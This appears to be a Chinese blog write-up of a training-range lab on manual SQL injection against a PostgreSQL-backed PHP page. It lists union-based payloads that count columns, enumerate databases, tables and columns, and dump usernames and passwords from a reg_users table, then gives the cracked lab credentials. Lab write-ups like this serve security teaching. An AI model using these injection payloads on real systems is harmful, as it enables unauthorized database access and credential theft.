SQL手工注入漏洞测试(PostgreSQL数据库)

SQL注⼊

一.查看是否存在注⼊点...构造Payload;回显没有显示数据,代表“ and 1=2” 语句拼接到了后 端数据库查询语句当中... 

http:// new_list.php?id=1 and 1=2icon-default.png?t=N7T8http:// new_list.php?id=1 and 1=2

二.开始猜解后端收据库能够返回多少个字段..发现order by 5的时候没有数据回显,order by 4 有回显数据,所以后端返回到前端的数据字段数为4个 

http://new_list.php?id=1 order by 4icon-default.png?t=N7T8http://new_list.php?id=1 order by 4

http://new_list.php?id=1 order by 5icon-default.png?t=N7T8http://new_list.php?id=1 order by 5 

三.开始检测这4个字段当中哪些字段可以被前端显示出来且使⽤union 查询来构造 Payload/...通过测试发现只有第⼆第三个字段是前端回显数据字段。 

http://new_list.php?id=1 and 1=2 union select 'null',null,null,null // ⽆回显

http://new_list.php?id=1 and 1=2 union select null,'null',null,null // 有回显

http://new_list.php?id=1 and 1=2 union select null,null,'null',null // 有回显

http://new_list.php?id=1 and 1=2 union select null,null,null,'null' // ⽆回显

四.在这两个字段当中来查询我们想要的得到的数据。例如得到当前数据库名称和当前⽤户以 及数据库的版本... 

new_list.phpid=1 and 1=2 union select null,null,string_agg(datname,'~'),null from pg_database

五.构造Payload爆指定数据库下的表名.... 

new_list.php?id=1 and 1=2 union select null,null,string_agg(table_nam e,','),null from information_schema.tables where table_schema='public'

六.此时我们已经得到了表并开始查询字段,由于查询到的第⼆个表名带有“ reg_user” ,我们就先 查询它 

new_list.php?id=1 and 1=2 union select null,null,string_agg(column_nam e,','),null from information_schema.columns where table_name='reg_users'

七.查询到字段以后,最后⼀步就是爆出数据了且如下构造payload 

new_list.php?id=1 and 1=2 union select null,string_agg(name,','),string_agg (password,','),null from reg_users

⼋.解密并得到相对应账号密码: mozhe1:792833 mozhe2:1qaz2wsx 登录并提交Flag... 

  • 12
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值